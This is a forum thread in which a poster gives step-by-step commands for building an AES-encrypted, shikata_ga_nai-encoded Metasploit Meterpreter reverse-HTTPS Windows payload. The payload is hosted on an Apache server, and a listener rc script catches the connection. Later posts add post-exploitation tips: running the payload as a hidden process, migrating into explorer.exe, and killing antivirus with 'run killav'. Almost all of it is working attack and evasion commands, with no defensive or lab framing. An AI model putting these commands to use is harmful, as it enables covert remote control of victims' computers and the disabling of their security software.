PC & IT SUPPORT MADE EASY FORUM
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Encrypted MSF Payload & Listener

Go down

Encrypted MSF Payload & Listener Empty Encrypted MSF Payload & Listener

Post by jamied_uk 4th February 2022, 13:16

Encrypted MSF Payload & Listener

rc file (makerc scriptname)


Code:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set EnableStagedEncoding true
set Encoding x86/shikata_ga_nai
set Iterations 10
set LHOST your-local-ip
set lPORT 5555
set ExitOnSession false
exploit -j -z



the create payload script (./startE.sh)


Code:
sudo msfvenom -p windows/meterpreter/reverse_https LHOST=your-local-ip LPORT=5555 -f exe -e x86/shikata_ga_nai -i 10 --encrypt aes256 -o /var/www/html/winRe.exe

Start apache2 server

Code:
sudo service apache2 start

Now use the create script to create payload then use rc script to start the listener
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Encrypted MSF Payload & Listener Empty Re: Encrypted MSF Payload & Listener

Post by jamied_uk 4th February 2022, 13:39

Pro Tip

You can use eth0 to auto populate the IP


Code:
set LHOST eth0



from msf5+
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Encrypted MSF Payload & Listener Empty Re: Encrypted MSF Payload & Listener

Post by jamied_uk 4th February 2022, 13:43

Post Exploitation

Code:
execute -H -f shell.exe

Where H = hidden process shell.exe is the payload.
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Encrypted MSF Payload & Listener Empty Re: Encrypted MSF Payload & Listener

Post by jamied_uk 4th February 2022, 14:02

Pro Tip:

Code:
migrate -N explorer.exe


Instead of ps and then migrate just 1 command!
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Encrypted MSF Payload & Listener Empty Re: Encrypted MSF Payload & Listener

Post by jamied_uk 4th February 2022, 15:11

Pro Tip:

Code:
run killav

This will attempt to kill any AV protection!
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Encrypted MSF Payload & Listener Empty Re: Encrypted MSF Payload & Listener

Post by Sponsored content


Sponsored content


Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum